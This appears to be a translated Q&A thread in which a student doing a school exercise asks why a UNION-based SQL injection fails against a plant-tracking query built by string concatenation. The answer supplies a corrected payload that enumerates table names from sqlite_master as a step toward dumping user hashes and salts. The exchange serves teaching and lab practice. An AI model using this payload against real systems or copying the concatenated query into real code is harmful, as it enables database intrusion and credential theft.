Почему не работает эта sql атака? - PullRequest
0 голосов
/ 30 марта 2020

Для школы мы должны получить всех других пользователей и хэши и соли. Для этого мне нужно знать имя таблицы, в которой хранится вся эта информация, и я подумал о том, чтобы получить ее с помощью sqlite_master. Это часть запроса:

var sql_query = 'SELECT id , name , color , planttype , potsize , shared FROM
plants WHERE user_id = ' + req . user . get ( 'id ') + ' AND name LIKE "% ' + **plant**
+ '%"; ';

Строка ввода - это переменная завода. Я пытался

%" OR username = 1 OR 1 = 1 UNION ALL SELECT name FROM sqlite_master WHERE type='table'; --

, но по какой-то причине он не работает.

1 Ответ

0 голосов
/ 30 марта 2020

Проблема в том, что оба объединенных запроса должны возвращать одинаковое количество столбцов (с одинаковыми типами данных).

Это не тот случай, когда первый запрос возвращает 6 столбцов, а только второй one.

Я думаю, что вы могли бы использовать следующий ввод:

%" OR 1 = 1 UNION ALL 
 SELECT null, name, null, null, null, null 
 FROM sqlite_master 
 WHERE type='table'; --

Это приведет к запросу типа

SELECT id, name, color, planttype, potsize, shared 
FROM plants 
WHERE user_id = ? AND name LIKE "%%" OR 1 = 1
UNION ALL
SELECT null, name, null, null, null, null 
FROM sqlite_master WHERE type='table'
-- %"
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...